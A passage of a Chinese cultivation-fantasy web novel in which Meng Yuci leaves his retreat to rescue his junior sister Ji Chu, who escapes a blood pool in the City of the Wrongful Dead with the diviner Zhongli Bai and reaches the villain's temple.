拂宇仙宗,悬鹤峰。 孟喻辞默然地望着远处山峰。 往日他也常常在此闭关,少则数月,多则数年,却从未如现在这般心神不宁。 他垂眸,看了一眼手中的传音玉。 安安静静,宛如一块死玉。 过去他从来不会带着传音玉闭关。 一来强行压制修为本就十分不易,外物更是打扰; 二来整个宗门上下,没有人会通过传音玉找他。 若掌门有吩咐,自会发来传讯符。 他如今想通过传音玉等来的人,也就只有纪楚一个而已。 视线落在传音玉上的花纹许久未动,其上工笔暗刻的符篆早已被他在心里描摹了无数遍,可惜从未亮起过。 纪楚是个没心没肺的,给再多暗示都没用,只要不明说,她便永远也想不到自己还有一个师兄孤零零在闭关。 这么想着,他心里又不免生出几分隐隐的埋怨。 满满一袋子的零食和灵符,竟然都换不来她的一句问候吗? …… 孟喻辞微不可查地叹了口气。 转而他又想着:山不来就我,我自去就山。 自己身为师兄,检查一下师妹的功课,也是合理的。 于是他指尖轻点传音玉,一边在心里盘算着,若纪楚问他来意,他该如何开口。 对面尚未有声音,寒潭之下忽然泛起一团黑气。 神骨恶念自打上次被纪楚那么一砸,仿佛元气大伤,连续多日没有动静。 如今却又忽然冒出来,扰人清静,仿佛跳梁小丑一般在他耳边吵嚷。 “孟喻辞,吾特来恭喜你,又要升阶了……” 该来的不来,不该来的却上赶着来。 孟喻辞神色微凝,心里生出几分被打扰的厌烦。 生平头一回,他想带着传音玉扭头就走,只当没看见神骨恶念的出现。 但责任使然,自己当日一念之差留下的残局,总得他自己来处理。 孟喻辞最终还是留在原地。 长指一动,先将传音玉妥善收好。 再度抬眸看去时,眼底已是一派森寒冷意。 神骨恶念骤然飘至他面前: “孟喻辞,你迟迟不敢升金仙阶,不就是因为你知道,自己是魔非仙——你在逃避!” 孟喻辞并不回应。 他望着那团黑气,神色漠然,仿佛在看着一个死物。 神骨恶念桀桀一笑: “我知道你为何如此冷静,是因为……她吗?” 黑气在半空中凝出一个模糊的幻象: 纪楚站在鬼气与魔气遍布的地方,脸上挂着细小的伤口,不知在看什么,神色格外专注。 她周围的鬼气和魔气宛如一只只大张着獠牙的巨口,随时准备上前将她吞噬。 …… 少微剑倏得出鞘,寒光闪过,黑气已被剑锋劈成两半。 剑势未停,直直没入寒潭,将其下压着的神骨也砸出一条缝隙。 他猝不及防出手,狠戾非常。 神骨恶念被他重伤,反而越发张狂地笑了起来: “哈哈哈哈……孟喻辞啊孟喻辞!难得见你动怒,是担心你苦心孤诣选出的这把好剑,被我提前杀——” 它的话说到一半,少微剑再度刺下,直接将神骨贯穿,也将它的话堵死。 神骨被毁的瞬间,原本万里无云的晴空忽的炸响一声惊雷。 他周身灵力同时暴涨,隐隐有压不住的迹象。 传音玉恰在此时有了动静。 纪楚的声音格外明快: “师兄?” 孟喻辞一边取过传音玉放在脸侧,一边面无表情地操纵着少微剑切开神骨恶念,将半空中那团黑气仔仔细细剁碎,逼得它只能沉入神骨中,再无法浮上岸来。 他双目乌黑似寒玉,泛着让人战栗的冷意,开口时却依然清冷沉稳,仿佛只是随口一问: “纪楚,你在哪?” 对面明显激动起来: “是我是我!师兄!我在枉死城!我——” 声音骤然中断。 孟喻辞的眼神瞬间冷了下去。 悬鹤峰顶的霜雪被风吹动,靠近他的同时被剑气削成两半,纷纷扬扬落到他的眼睫上,堆积成一片难以融化的严寒。 他毫不犹豫,转身就要离开。 诲元仙尊及时出现拦下他。 他看了一眼翻涌的寒潭,又看了一眼孟喻辞,神色凝重: “你这是做什么?” 孟喻辞道: “它要对纪楚下手,我去救人。” “纪楚未必有事。” 诲元仙尊不赞同道: “况且你怎可直接毁了神骨?放在别人眼里,你这举动无异于叛魔!你叫本尊如何保你?如何向世人交代?!” 孟喻辞抬眸,面无表情: “师尊若要给世人一个交代,待我救下纪楚,任凭师尊处置。” 他持剑落于身侧,毫不动摇: “现在,我得去救人。” “你疯了……” 诲元仙尊看着他的模样,忍不住说: “你知道你快升阶了吗?离开悬鹤峰结界,你要怎么压住你的灵力?难不成——你真的想成魔吗?” 孟喻辞的回应是化作一道剑气直接撞向出口。 诲元仙尊当即以剑气阻拦,竟被他一撞之下后退半步。 待他稳住身形,那道霜寒剑气已破开结界,直直朝枉死城方向而去了。 “真是疯了……” 诲元仙尊看着自己手上的剑痕,忍不住道。 “他竟为了纪楚,连命都不要了……” * “告诉我,这是你的第二世吗?” 纪楚在近乎窒息的绝望中听见这句话。 比起重生的身份被对方点名,更让她感到恐慌的,是面前的东西。 黑暗中,一双赤金无瞳的眼睛猝然出现,宛如大张着巨口的深渊。 这不是她第一次对上这双金色眼睛。 而对方想杀的意图也越来越明显。 一开始尚且有试探之意,如今,已是獠牙尽显,动了杀心。 难道真如钟离白所言,真有一个实力堪比神族的东西,也能算出她的身份,并且一直忌惮着她? 来不及多想了…… 她周身血液灵力被其压制,无法挪动身体,也无法移开视线,只能任由对方消耗她的灵力,撕扯她的神魂。 这情形和前世死前如出一辙。 两世记忆重叠,纪楚一时间无法分辨自己身处何时何地。 某个瞬间她甚至忍不住怀疑: 我这是……已经死了吗? 她感到一丝茫然和无措。 下一刻,她又本能觉得不对。 不对……不应该是这样。 她没有死,她已经被钟离白送了回来,她重生了。 这是她的第二世。 纪楚咬紧牙关,试图挣脱金色眼睛对她神魂的压制。 可惜没用。 对方显然是比她强上许多的东西,绝对的阶级压 制下,她只能任人宰割。 可恶的钟离白,说什么进神殿是上上大吉,现在可好,她不会真的要在这儿提前结束这辈子吧…… 该死,说什么逆天改命重头再来,结果,她竟然比前世死的还早! 纪楚思绪纷飞。 不行不行,不能就这么死了! 她还想和大家一起聚餐,想问清钟离白说的“末神”是什么东西,她还想吃师兄做的油焖大虾酸汤火锅红烧排骨清炒藕片橙汁冰碗…… 菜名越报越长,纪楚的求生欲也越发强了起来。 她练了那么久的剑,背了那么多心法,升阶时还被那么粗的天雷劈过,还有师兄带她取得的寻真剑…… 这些东西,她好不容易才得到,她绝对不能在此刻放弃! 重来一世,她好不容易才走到今天,绝对、绝对不能就这么死了! 周身原本被压制滞涩的经脉忽然开始运转。 所剩无几的灵力朝着她手腕上的剑符送去。 后颈处也生出隐隐的滚烫感,仿佛有人在托着她的后背,让她不要轻易倒下。 纪楚终于握住了寻真剑的剑柄。 然后她缓缓抬起眼皮,直视着虚空中这双金色眼睛。 前世她没能靠自己的力量挣脱,神魂几乎被吞噬之际,是少微剑一剑穿心,才让她得以有了片刻喘息。 而如今,她才是那个握剑的人,她照样可以挣脱出来! 纪楚感觉自己像是蚂蚁在撬动巨石,一开始毫无效果,但只要她不肯松手,只要巨石出现哪怕只有一丝的松动,她就有机会借势而上,彻底挪开整个石头。 她就这样一点点举起了剑。 师兄说不可怯战,师兄还说过剑意无形,师兄更说过,她只需要一直朝前走就好—— 纪楚艰难地转动眼珠,每一个动作都带来尖刀磨砺眼球般的痛楚,连眼角都开始溢出血泪。 但她依然一点点移开视线,一点点脱离金色眼睛对她神魂的压制。 视线自由的一瞬间,她猛地挥剑—— 血水四溅。 脖子上的鬼爪只松动了一瞬,很快再度施力,猛地托着她朝前扑去。 神殿中央是一个巨大的血池,里面上下沉浮着许多尸骨残骸,鬼爪便是自血池中凝聚伸出。 血水无形,砍断也能重聚。 纪楚用力眨了下眼睛。 酸涩干涸疼痛麻木等等感觉瞬间自眼球中传来。 一滴血顺着她的眼角流下,在脸上划出一道鲜红的血痕。 她心里骤然生出一股蛮横的情绪来。 她就不信了,今天难道非死不可吗?! 纪楚抬手,徒手抓住脖子上的鬼爪,不顾喉咙上传来的剧烈的疼痛,用力朝外扯动。 力气之大,简直是宁可脖子被拽掉,也不肯被其拖走。 鬼爪拖拽她进入血池的动作僵持住。 她越使劲,被她拽着的鬼爪便越不像爪子。 最后几乎像扯面条一样,尖端还是五指的形状,将她的脖子掐出一片可怖的淤青; 手腕及胳膊处却已拉长变形到近似诡异的地步,纪楚一只手便将其完全抓握住。 纪楚感觉自己脖子上的肉都快要被生生扯下来,但她手上力气丝毫没有松动,甚至又加了一只手,将鬼爪的手腕扯成了细细一条。 像是捏扁了一块吸饱了鲜血的海绵,血水顺着她的指缝流淌不停,纪楚感觉自己的小臂简直像是泡在血水里一样。 而随着血水被挤压出来,手中的鬼爪也越发的细。 纪楚猛得一使劲,只听得一道极其细微的“咔嚓”声,而后手中的力气顿时消失。 鬼爪竟然被她生生拉长变形到只有一丝的宽度,而后彻底扯断了。 鬼爪根部迅速回缩,藏进血池中不见踪迹,只剩五指状的尖端仍留在纪楚脖子上。 纪楚屏着呼吸,将脖子上的五指一根根掰开掰断,像是敲碎一块变形的麦芽糖。 ——当然是不能吃的恶心款。 最后一块残余的指节被她掰碎后扔到地上,纪楚觉得自己简直像个冷酷无情的杀人狂魔。 她蹲在地上,看着近在咫尺的血池疯狂喘气。 传音玉又亮了起来。 师兄的声音像春天的雨,冬天的雪,瞬间冲散了血池附近窒息沉闷的气息,让她觉得格外清新舒畅。 “纪楚,能听到吗?”—— 作者有话说:师兄:打扰我思念师妹,杀了你(冷漠) 神骨恶念:? 第63章 纪楚眨了眨眼睛,看着传音玉,一时有些呆呆的。 嗓子里火烧般的疼痛后知后觉地传来,她这才发现刚刚拽的太狠,自己现在好像说不出话了。 纪楚:“……呃呃?” 师兄? 本以为没人能听得懂她的话,师兄却回道: “是我。” “受伤了吗?” 纪楚眼睛一亮:“呃呃?!呃呃呃呃!” 师兄?!真的是你! 她忍不住用破锣嗓子叽里呱啦说起来: “……” 一个字也听不清楚,大意是夸自己身强体壮超厉害,这点小伤不碍事。 听起来神采奕奕的,丝毫没有消颓之势。 但若是真的没事,就不会连话都说不出来了…… 一想到纪楚有危险,他的心便忍不住一痛。 孟喻辞眼里闪过几分心疼和后怕,再开口时语气便有些急: “先别说话了,储物袋里有丹药和水。” 纪楚点点头,想从储物袋里掏东西,又发现自己满手的血,实在太脏。 于是她无声念了个念清洁术,将自己上上下下清理了一番,然后才从储物袋里掏出师兄说的东西。 顺便还拿出来两个盘盘果,就着丹药一口咽了下去。 嗓子里的痛感缓和不少。 纪楚仍觉得不过瘾,又掏出一堆乱七八糟的吃的,也不管是什么,反正只要有点灵力,就通通一股脑地往嘴里塞。 孟喻辞始终没有说话,静静听着她这边窸窸窣窣的动作,感觉躁动的心一点点安宁下来。 过了一会儿,他轻声问道: “……还疼吗?” 纪楚大吃大喝一通,这才觉得刚刚消耗的灵力和精神恢复了一点。 听见师兄低落的、小心翼翼的语气,她莫名觉得难受,于是顶着脖子上大片大片的淤青疯狂摇头: “怎么会?师兄,我早就不疼了,那东西根本打不过我!” 孟喻辞又是一阵沉默。 纪楚已叭叭叭说起了被孔回端算计一事,言辞中全是对沈恪和薛晚凝两个人的怀疑,末了还要补充一句: “我可不是小心眼,我都是合理怀疑。” 孟喻辞并无不耐烦之意,温和道: “我知道。” 纪楚又道: “师兄给我的储物袋太万能了,里面什么都有,我吃了好多零食,用了一张传送符逃命,可惜垫子掉在云舟上,恐怕是找不到了……” 孟喻辞便安抚她道: “无妨,回去给你补充更好的。” 纪楚听见这句话,顿时觉得委屈起来。 她其实又心慌又害怕,坚强都是装的。 钟离白的话,以及金色眼睛的质问,通通都让她心乱如麻。 原本以为重生只是撞了大运,这辈子,只需要谨慎防备着薛羡尘抢夺神骨就行。 没想到,先是神骨疑似邪物,之后又听闻无着尊者利用神骨作恶。 如今,又冒出来一个“末神”,竟然要杀她。 “一世斩魔,二世杀神。” 她不会真的要和一个神不死不休吧…… 纪楚不知道怎么缓解这种茫然和紧张,只能把话题绕来绕去,简直像是梦到哪句说哪句。 但师兄始终没有不耐烦,一直温和耐心地给出回应,让她有种无论发生什么事都不用害怕的感觉。 ——因为有师兄。 她捏紧手里的储物袋,忽然小声问了句: “师兄,这世上真的有神吗?” 孟喻辞一默。 在他开口回答之前,纪楚 却又率先打断他: “算了师兄,先不聊这个了,我先出去再说。” 就当她怂吧。 反正……不论有没有神,金色眼睛要杀她就是事实。 管那东西是好是坏,是神是魔,只要是想杀她的,她都不能退让。 纪楚下定决心,兀自点了点头,起身去找出口。 传音玉的光闪了闪,似乎又要断联了。 孟喻辞没说什么,只道: “枉死城不安全,我很快就到,你不要乱跑。” 纪楚自是应下。 她本想推门出去,奈何神殿大门像是封死了一样,怎么都撬不开。 血池也变得安安静静,先前那忽然冒出来掐人的鬼爪也消停了。 纪楚于是绕着池子走了一圈,趁机打量神殿环境。 什么都没有,没有神像,更没有贡品。 唯一看着特别的,就是源源不断的暗红色雾气自四面八方进入神殿,然后纷纷没入血池中央。 就像是在积攒什么东西似的…… 纪楚心下疑惑。 先前她就在外面那群鬼的身上看到了这暗红色的雾气,当时以为是魔气,现在靠近了却又觉得不太像。 比起魔气,更像是一团传递怨气、憎恨等负面情绪的引子。 这神殿,为什么要收集这种东西? 纪楚想不明白。 很快,她就在血池的另一边又发现了一扇半掩着的门,同样有暗红色雾气顺着门缝飘进来。 纪楚本想过去看看能不能出去,谁知就在她靠近这扇门的同时,一道瘦长的影子从天而降,以极大的力气撞了过来。 在他身后,一道魔气紧跟不放,眼看就要把他戳个对穿。 钟离白看见她的一瞬间大喊出声: “救命!纪楚救我!!!” 纪楚本能拔剑去挡。 寻真剑卸掉魔气大半冲击力,仍有一小部分跟着钟离白一起进了神殿,把他和毫无准备的纪楚一起击飞出数尺远,直直飞到了血池边缘。 纪楚:“!” 钟离白:“啊啊啊啊啊——” 两人尖叫着砸进血池里。 水花四溅。 血腥味传来的一瞬间,纪楚察觉到不妙,及时捂住嘴,咕噜噜吐了几个泡泡,从水池底部浮了上来。 钟离白就没有她这么幸运了,一直张着嘴大喊大叫,猝不及防间吞了好几大口。 下一刻,一道瘦高的影子挥舞着胳膊“哗啦”一声从水中爬出来,扒着纪楚的胳膊开始干呕。 “哕——纪楚……哕——” 纪楚:“……我真的服了。” 血水糊了她满头满脸,现在已经不是清洁术可以解决的问题了。 如果有条件的话,她更希望可以换具身体。 钟离白终于平静下来吐无可吐,停下了按压纪楚胳膊的动作。 虽然被魔气从背后打了那么一下,他却跟没事人似的,在血池里疯狂扑腾。 纪楚瞥了一眼他背后,全是血水,啥也看不见。 但是应该没有受伤。 于是她把他的手从自己胳膊上无情扒拉下去,然后把他推得离自己远了点。 瘦高的人影在血池中飘了半寸,忽然看见了什么,随后又尖叫起来,四肢并用地扑上来抱住她的胳膊: “纪楚不要推开我!这里有骨头啊啊啊啊啊啊啊!” 纪楚甩了甩,甩不掉,叹气。 “钟离白,你怎么也过来了?” 钟离白“呜呜呜”: “你还不知道吧,枉死城的魔气不断朝外面蔓延,已经将周边数十里都覆盖进去了,所过之处寸草不生,活物湮灭。” “我想着既然你和生路都在神殿里,就干脆进来找你了。” 纪楚: “……好吧,不过你能先松开我吗?” 钟离白看了一眼旁边飘着的骷髅头,疯狂摇头: “不行不行不行——” 纪楚:“……” 她忍不住问: “你都是当过鬼的人了?为什么会害怕这个啊?” 钟离白摇头似泼浪鼓: “不一样不一样不一样……” 纪楚又叹气。 她原本觉得自己又胆小又拧巴,什么事情都干不好。 但每次遇到钟离白,都会有一种“为母则刚”的诡异错觉,仿佛一下子拥有了解决一切麻烦的力量,自信坚强。 不过现在这个情况…… 她在水里扑腾了几下,发现自己的经脉像是被封住了一样,四肢格外沉重不说,周围的血水还营造了“鬼打墙”的感觉,怎么扑腾都只是在原地打转。 压根不可能游上岸。 好烦,要是有人能帮她就好了…… 纪楚看了一眼死死抓着她胳膊的钟离白,很快打消了这个念头。 此人看起来实力一般,上辈子死的比她还早,应该靠不住。 果然,钟离白见她尝试,急忙也跟着试了一通。 结果发现自己的情况和纪楚一样,甚至比她更糟。 他一个卦修,修为本就不如纪楚这样的剑修,灵力消耗更快。 纪楚嫌弃地收回视线。 “血池有问题,在吸我们的灵力。” 纪楚皱眉,擦了擦溅到脸上的血水,阻止了钟离白继续扑腾的动作: “你不是说生路在神殿里吗?你不会算错了吧!” 涉及职业尊严,钟离白一下子从半死的状态活了过来: “我的卦不会错的!出去是死路一条,进神殿才是上上大吉!” 纪楚深处胳膊指了指周围漫无边际的血水: “清醒点吧,你看看现在,哪有上上大吉的样子?” 钟离白游得直喘气,也只在原地挪动了半寸,距离岸边还有十万八千里。 他迟疑道: “如果我们按照这个速度,天亮前能游出去吗?” “绝无可能。” 纪楚冷脸断定: “按照这个速度,等无着尊者把修真界杀干净了我们都出不去。” 钟离白伤心起来: “难道重来一次,我们还是救不了修真界吗?” 纪楚闻言叹气。 其实上辈子和钟离白的合作就不怎么成功,叛宗被师兄撞上,除魔被“末神”盯上,最后还被一剑捅死了。 不过考虑到当时的情况已经足够糟糕,她本来也没抱什么希望,能杀薛羡尘报仇就可以了,她不贪心。 但这辈子,她都已经这么努力了,事情竟然还朝着糟糕的方向发展,纪楚压根不能接受! 越想越气,她板着脸,生气地飘在水上。 “你等着哈。” 面对她的愤怒,钟离白擦了擦手,从背后掏出一个造型特别的方形罗盘,放在身前嘴里念念有词。 纪楚好奇地看过去。 钟离白摸了摸罗盘边缘,心疼道: “又是砸孔回端,又是替我挡魔气,可怜的罗盘被当砖头使,悄悄这边上,都有凹陷了……” 纪楚:“原来是这样啊。” 钟离白开始起卦。 纪楚以前从没见过卦修起卦,只是听说过程格外严格,需得天时地利,沐浴焚香,委实和他们现在泡在血水里的狼狈状态不太符合。 不过钟离白这卦起的十分随意,只是捧着罗盘念叨了几句,上面的指针就开始自动旋转,最后停在了“东”和“南”的正中央。 然后他将罗盘展示给纪楚看: “瞧瞧,四方罗盘,东方指生,时运亨通,向南指地绝处逢生。相信我,进神殿一定是唯一的活路。” 纪楚:听不懂但感觉很厉害。 于是她追问道: “白大师,你能不能说的更明白点,我们要怎么才能出去呢?” 钟离白认真掐指测算,得出一句: “时机未到……所谓绝处逢生,首先,得先到绝处。” “到绝处?” 纪楚顿觉不妙—— 作者有话说:纪楚:大师您的意思是我们的情况还能更糟糕?[裂开] 白大师:卦象是这样的啦[眼镜] 第64章 纪楚还没来的及说话,忽然感觉自己四肢一轻,好像被水流慢慢举了起来。 她疑惑抬头。 整个神殿内布满了暗红色的雾气,纷纷扬扬朝着血池汇聚而来。 水面轻微摇晃,推着里面的尸骸前后移动。 纪楚:“水位好像在升高!” 钟离白愣住:“什么?” 下一刻,两人中间骤然出现一个巨大的漩涡。 原本飘在一起的纪楚和钟离白先是被漩涡产生的冲击力推向两边,而后随着漩涡在血池中转了半圈,又不受控制地朝漩涡中心飘去 血色飞溅,糊了纪楚一脸。 她一时间看不清楚,眯着眼睛召出寻真剑,朝着血池底部重重一插,勉强控制住身形。 一个巨大的漩涡上下翻涌着,将血池里泡着的东西不断朝下朝深处拽去。 先是腿骨、头骨,而后飘过一个瘦高的人形。 纪楚想也不想,在这人快要被吸进漩涡的前一刻,伸手一把抓住了他的衣领,将人从快淹死的状态救了出来。 钟离白被她这么一拽,虽然劫后余生,却也被勒的喘不上气。 “谢、谢谢……“ 他飘在一群骨头架中间,双手死死抓着自己的四方罗盘,面如土色。 那漩涡下面的东西像是饕餮一般,见什么吞什么,连他的罗盘都险些遭了毒手。 还好纪楚眼疾手快,不然自己就得和罗盘一起丧命于此了…… 钟离白看了一眼面前仍在不断卷东西进去的漩涡,心有戚戚。 与此同时,源源不断的黑红两色雾气自神殿外面飘进来,鬼气和魔气混做一团,越过纪楚两人,直直汇聚进水面翻涌不息的血池中。 血池中的水位不断升高,纪楚已经完全站不住,整个人飘浮在水面上,头重脚轻般浮浮沉沉。 漩涡的吸力越来越大,她逐渐有些力不从心,还得拽着钟离白,两人勉强靠着寻真剑维持平衡。 这样下去不行。 纪楚环顾四周,想找到一些可以借力的东西。 钟离白的衣服终于坚持不住,“刺啦”一声,连着领口豁楞出一个巨大的口子, 他“啊”得一声尖叫,不受控制地朝前移了几寸。 纪楚一惊,千丝傀影顿时从她指尖冒出,将钟离白的胳膊和肩膀及时捆住。 因为这一动作,她身上的灵力顿时遭到了压制,寻真剑在血池底部发出刺耳的摩擦声,两人同时向着漩涡飘去。 钟离白又是一声尖叫,很难分的清是因为差点没命,还是因为绑在他身上的傀儡丝。 他颤颤巍巍扭头,看向纪楚: “你怎么……” 纪楚满脸都是血水,只剩一双眼睛依然又大又圆又明亮,看起来像个残忍的杀手,一言不合就会把他也剁成骨头架子的那种: “我怎样?” 钟离白被她吓了一跳,话锋一转,急忙解释: “不不不,我没有觉得邪术不对……法术嘛,能救人的就是好东西……是吧纪楚?” 纪楚面无表情: “哦。” 钟离白咽了口口水,生怕自己哪句话说的不对,纪楚就会松手,让他去漩涡底下清醒清醒。 然而纪楚却说: “其实我也不知道,上辈子一开始只是觉得,反正已经没有办法练剑了,那就随便什么能练就练什么吧……当邪修也没关系,反正都已经这样了……” 钟离白擦了一下脸上的血水: “可是你最后也不是邪修啊?你气息纯净,心性纯良,是可以和神骨、和魔王对抗的好修士。你是怎么做到坚定意志,不被邪术干扰的?” 纪楚无语,忍不住翻了个白眼: “因为我刚学会千丝傀影就被师兄发现了,他把我好一通骂。我压根就没怎么用过!” “原来是这样啊……” 钟离白尴尬地笑了一下,很快又精神起来,郑重道: “但是我觉得挺好的。管它什么邪术法术,只要能救人,那就是好东西!” “同理呢——” 纪楚接话:“管它什么仙啊神啊,只要害人,就是大魔头!” 钟离白伸出大拇指:“没错!纪楚,你悟了!” 纪楚心情好了起来。 她不经意间瞥了一眼漩涡,忽然看到了什么,视线一顿。 “那下面是什么?” 她主动朝前移了一点,想看得更清楚一点。 被她拉着的钟离白也随之朝前一飘。 他一声尖叫卡在嗓子眼里,忽然也看到了漩涡中心的东西。 怎么好像是只眼睛? 钟离白一愣,瞬间忘了自己还在害怕,从身边顺手拿了个什么硬邦邦的东西,试探着朝漩涡中心捅了捅。 纪楚欲言又止。 钟离白捅了半天,什么也没有发生。 他推测道: “看着挺近的,但是碰不到,应该是什么传送阵之类的东西,把对面的景象映过来了。” 说着他看了一眼自己手上拿着的东西,脸色忽然一僵。 下一刻,一声凄厉的尖叫爆发。 钟离白将手上拿着的那截人类腿骨扔到了漩涡中,开始一边左右扑腾一边大声大叫。 纪楚努力用傀儡丝拽着他: “你还好吧?” 钟离白终于平静下来,欲哭无泪: “我……没事……” 他话音刚落,两人面前的漩涡忽然开始扭曲变形,从中迸发出一束巨大的水柱,尖端逐渐生出五指的形状,如泰山压顶一般,朝着他们猝然压下。 纪楚一惊,扯着钟离白朝远处一甩,避开了这一击。 “又来了……” 她拔出卡在地上的寻真剑,灌足了灵力,借着被漩涡吸过去的机会,猛得朝巨爪根部砍去。 血水被截断了一瞬,巨爪于半空中重聚同时,钟离白及时拉住纪楚。 他顾不上害怕,抱着一个骷髅架子拼命朝外面划水: “纪楚你别害怕,我这就拉你出来。” 他这么说着,却连躲过巨爪攻击都难,根本无法拉纪楚出来。 “我有个想法。” 纪楚却说: “金色眼睛和末神有关,而血池里这些东西,大都是从枉死城的鬼魂身上收集的怨气。” 钟离白听她这么一分析,顿时激动起来,一边划水一边说: “你的意思是,这可能和无着尊者有关?” 他细细捉摸,越捉摸越兴奋: “有道理,太有道理了!无着尊者想要引人入魔,必然是借助了这里的怨气……” “还有末神,它这种没有实体、需要靠着念力才能存在的、虚无缥缈的东西,最需要强烈的情感了!枉死之魂的怨气……它可真够恶毒的!” “最危险的地方就是最安全的地方,与其被拍碎,不如主动出击!” 他看了一眼漩涡,又看了一眼纪楚: “我们过去!云川古域那地方有结界,寻常人进不去,但是有了这个传送阵,也许我们就能直接进去!阻止无着尊者和末神!” 纪楚却有些迟疑: “可是……” 师兄说了让她不要乱跑,等他过来。 她拿出传音玉,想试试看联系师兄。 但巨爪四处乱拍,一下子拍在她旁边,溅起的水花顿时把她朝漩涡中间推了一大截,传音玉没拿稳,一下子飞了出去。 “不要可是了!” 钟离白转过身,一把拉住她胳膊,在巨爪再次砸下来的同时,主动朝前一游,顺着漩涡的吸力和纪楚一起沉了下去。 他看着漩涡的眼神里哪还有半点害怕,全是对胜利的渴望: “绝路逢生,上上大吉!纪楚,这回一定对了!” 巨爪堪堪擦着两人身后落下,溅起无数水花。 算了…… 纪楚见状也转过身,一边用剩余的灵力护在自己和钟离白周身,一边任由水流把她裹携着朝下拽。 她看着越来越近的金色眼睛,神色凝重,一言不发。 下一刻—— “哗啦”一声。 水流倾轧而下,瞬间将纪楚两人彻底淹没。 * 孟喻辞站在枉死城中央。 这里已经被魔气 尽数覆盖,血水从神殿中迸发而出,将这里染成了一片猩红的海。 原本停驻在这里的枉死之魂只需要等待投胎,此刻却已全数成了魔气的养料。 枉死之人的怨气——还有什么能比这个更强烈、更能让神满意的呢? 唯一还有意识的鬼婆已经失去了人的形状,不规则的躯干从她身上各个地方冒出来,让她看起来像个奇形怪状的刺猬。 孟喻辞也不知道自己为什么会这么想。 或许是受了纪楚的影响,他看向这世间的一切时,总会忍不住去揣摩她的想法。 纪楚…… 想到纪楚,他的眼神一点点冷了下去。 神殿已经被汹涌的血水冲垮,魔气成爪,自血水中生出,四处捕捉一切存活之物。 倒霉的飞鸟落入其中,瞬间便被湮灭成灰,那一点儿灵智未开的濒死之气也被尽数吸收。 鬼婆望着神殿的方向喃喃祈祷: “今以至纯之魂献祭,求末神降世,救此混浊之地,度化虚伪之魂。” 而后彻底被魔气吞噬,化作无数怨气中的一股,汇聚进无尽的血水之中,又尽数被最中间的金色眼睛吞噬。 传送法阵。 孟喻辞缓缓眯起眼睛。 寒霜自他周围向外蔓延,倾刻将整座枉死城封冻。 剑气四起,如流光闪过,眨眼之间便在枉死城内外查了个遍,残余的魔气被一扫而空。 可是没有纪楚。 冰面上映出他如霜似雪的冷白面庞,漆黑双眸紧紧盯着手中裂了一道缝隙的传音玉。 ——纪楚的传音玉。 空羽浮花没有反应,她一定还活着。 不在枉死城,那就是顺着传送法阵,去了云川古域。 孟喻辞五指缓缓收紧,传音玉的边缘被他大力之下捏得有些变形。 方才出手时没有刻意压制修为,识海深处金光闪过,头顶上再度聚起雷云,是要升阶之兆。 但他却如同不曾察觉一般,面无表情地绘制起了传送符。 这一瞬间,他感觉自己的思绪无比清明。 他可以忍受末神和无着尊者算计他,折磨他,但是纪楚不行。 纪楚是他的! 她身上有他的空羽浮花,不论这花是怎么出现的,不论纪楚是怎么看他的——他通通都不在乎。 是他陪她修好了经脉,是他亲自教会她用剑,是他最先选中了她,她是他唯一在乎的人,任何人也不能从他手中把她夺走! 传送符落地。 孟喻辞动作一顿,这才发现自己的指尖落了点红。 ——竟是被传音玉边缘划伤的。 他盯着这点朱砂似的红痕看了许久,直到看到眼睛都有点疼了,这才面无表情地缓缓收回手。 少微剑嗡鸣不休,杀意尽显—— 作者有话说:师兄:准备去杀个人[抱拳] 第65章 纪楚仰面漂在水上。 她把灵力耗了个干干净净,此刻丹田处疼的要命,动一动都觉得累。 钟离白漂在她跟前,被她的灵力护着没有受伤,但不知道是吓的还是被水流的冲击力拍晕了,拽着他漂了十里地都不见醒。 纪楚连吐槽的力气都没有了。 又过了好久,钟离白终于吐出一大口水睁开了眼。 他愣了几秒,抛出一连串问题: “我们还活着吗?这是哪儿?无着尊者呢?他到底是怎么引人入魔的?!!” “活着呢,应该是云川古域吧。” 纪楚有气无力地回答了他的问题。 钟离白看向她,忍不住伸手在她眼前晃了晃: “你怎么了?看起来这么累?” 纪楚没说话,抬起手,将一块泛着白色荧光的石头展示给他看。 钟离白纳闷: “这是什么?” 他凑近了仔细看: “这上面的气息好奇怪啊,盯着看还有点头晕……这是什么?” 纪楚:“这是神骨。” 钟离白:“哦是神骨啊……” 下一秒: “什么?!这是什么?!你说这是什么?!!神骨?!!神骨为什么在你手上?!!” 纪楚被他吵得皱眉: “就在传送法阵的对面,金色眼睛那个地方,咱们掉下来的时候正好路过,我就瞬手拽走了。” “顺手?!” 钟离白感觉自己大脑有点跟不上趟了: “你是说枉死城里的那些怨气和魔气,是被传送到神骨这边了?不是,你就这么给拽走了?” 纪楚:“对啊,你不是说要阻止无着尊者吗?” 钟离白大脑宕机: “那无着尊者呢?他没有拦你吗?我怎么什么都不知道?我就这么睡过来了?” “当然拦了。” 纪楚嫌弃地看他一眼: “你能知道什么啊?你到底能干什么啊?打都打不醒,那人的魔气都快把咱俩戳成筛子了,你竟然还在睡!” 她越骂越有劲,刚刚连喘气都费劲,此刻甚至坐了起来,劈头盖地对着钟离白一通数落: “是你说要来阻止的,也是你说要拯救修真界的!还是你说要来传送法阵对面的!结果呢?!你眼睛一闭彻底当甩手掌柜了!” “我又是打架又是逃命,要不是师兄给了我好多灵符保命,现在咱俩已经死透了!” 她每说一句,钟离白的脖子就短一寸,最后彻底缩进了水里,只露出一双眼睛在外面。 纪楚气喘吁吁,骂完了又累了,“噗通”一声躺进了水里。 “你就庆幸咱们福大命大吧。 “刚刚云川外面忽然开始打雷闪电,不知道是来了哪个神仙,无着尊者追到一半就转头走了。” 钟离白在水下吐了几个泡泡,以示惊叹。 见纪楚没再继续追着他骂,他又从水下浮了上来: “那,我们现在要去哪?” 纪楚指了指前方。 “奉神殿。” 正所谓趁他病要他命,斩草不除根春风吹又生,与其逐一击破不如直捣老巢。 纪楚在看到神骨的时候忽然意识到: 这修真界的神骨未免也太多了吧! 原以为神骨是神族恩赐,没想到竟然是无着尊者拿来引人入魔的工具。 来都来了,索性一锅端了,也省的时不时冒出一块神骨来,到处祸害人。 纪楚如是想。 * 奉神殿是无着尊者清修之地。 听说三百年前,这里曾是巫觋族的圣地。 只是如今,历经沧海变迁,再神圣的地方,也会被时间冲刷地格外破旧。 纪楚打量着长满青苔的柱子,听见钟离白叫她: “纪楚,这边这边。” 钟离白的罗盘此刻发挥了最大作用,轻松带着他们避开禁制,一路畅通无阻地摸到了奉神殿中央。 入目所见,便是一尊高高伫立的神像。 神像虽是人身,但并无人脸,男女莫测。是整座奉神殿里最新的东西。 